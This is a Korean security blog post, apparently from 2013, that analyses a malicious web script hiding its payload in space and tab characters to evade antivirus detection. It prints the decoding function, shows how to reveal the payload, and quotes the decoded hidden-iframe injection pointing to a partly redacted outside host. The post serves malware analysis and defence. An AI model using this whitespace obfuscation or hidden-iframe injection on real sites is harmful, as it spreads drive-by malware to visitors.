2013년 5월 4일 토요일

아스키코드 0X20(Space) 0X09(Tab) 을 이용하는 악성 스크립트



□ 공백(Space,Tab) 을 이용하는 악성 스크립트

HEX=0X20 , 0X09 를 이용하여 백신 진단을 우회하기 위해 쓰였으며 일반 익스플로러에서
소스 보기를 한다면 공백으로 보일 수 밖에 없게 만들었다.

* HEX = 0X20 = SPACE : 네이버 지식사전
* HEX = 0X09 = 탭 코드 [tab code]: 네이버 지식사전
  

국내에서는 몇몇 사이트에서 유포가 되었지만 공다팩과, CK Vip, YSZZ에 비해서는 사용 빈도가 아주 적다.

어느 한 사이트에서 유포되고 있는 공백 스크립트다. 서두에서 설명 했듯이 익스플로러에서 소스 보기를 통해 볼때 이와 같이 공백이 보인다.

과연 이것은 어떤 비밀을 가지고 있을까?


그렇다면 수상하다 함수는 있는데 왜? 문자는 없을까?
Hex Editor 를 통해 확인 해보자.


코드를 보니 (.) , (SPACE) 가 무척 많다. 이것들이 무언가 계산을 통해서 일반 10진수를 통해 변할 수 있을꺼 같다.

윗부분에 한번 스크립트를 확인해 보자.

 function RDfADFLDEXDFu5(s)
 {
   var r = new Array();
   var curr = 0;
   while(s.charAt(curr) != '\n') // \n TAB으로 정의를 한것을 보인다.
   {
     var tmp = 0; // tmp = 0 부터 시작
     for (var i=6; //  i = 6 일때
     i>=0 ; // i = 0보다 크거나 같을때 루프
     i-- ) // i-- 계산을 해준다.
     {
       if (s.charAt(curr) == ' ') // if (s.charAt(curr) == ' ') 스페이스로 정의를 한것을 보인다.
       {
         tmp = tmp | (Math.pow(2,i)); // Math.pow 제곱함수 ex) Math.pow(4,2) 16 이 된다
       }
       curr++;
     }
     r.push(String.fromCharCode(tmp)); // tmp를 유니코드로 출력
   }
   return r.join('');
 }

이 모든것들은 tmp 라는 함수에 담기게 되어서 아스키코드로 변신을 하게 된다.
모든 것들이 tmp 변수라는 것에 모아졌다면 디코딩은 간단하다.

1. alert 를 이용한 출력

 r.push(String.fromCharCode(tmp)); ->  r.push(alert(String.fromCharCode(tmp)));




이런식으로 계속 아스키코드가 이어집니다....... 하지만 일일이 받아적기에는 너무 많습니다.

2. document.write 를 이용한 출력

 r.push(String.fromCharCode(tmp)); 
->  r.push(document.write(String.fromCharCode(tmp)));

document.write(unescape("%3Ciframe[생략]%3E"));

->document.write(unescape("<iframe src=http://www.e[생략]l.com:8080/data/rental/board/pds/news/[생략]3.html width=100 height=0></iframe>"));

한번에 알아 볼 수 있게 출력을 해줍니다.

* 지금은 공다팩에 밀려서 주목 받지 못하지만 언젠가는 또 쓰일 날이 있기에 적어 둡니다.
  아직은 모자르지만 글을 끝까지 읽어주셔서 감사합니다.

댓글 4개:

  1. 디코딩 프로그램 만들어 둔게 어디 있을텐데 찾아 봐야겠네요 ^^

    답글삭제
  2. 제가 처음본 기억은 2011년 크리스마스날 이었는데, 잊을만 하면 등장하고 그러네요

    답글삭제
  3. 이것은!! 준호님 전공인 공백코드네요!! 잘읽었습니다.

    답글삭제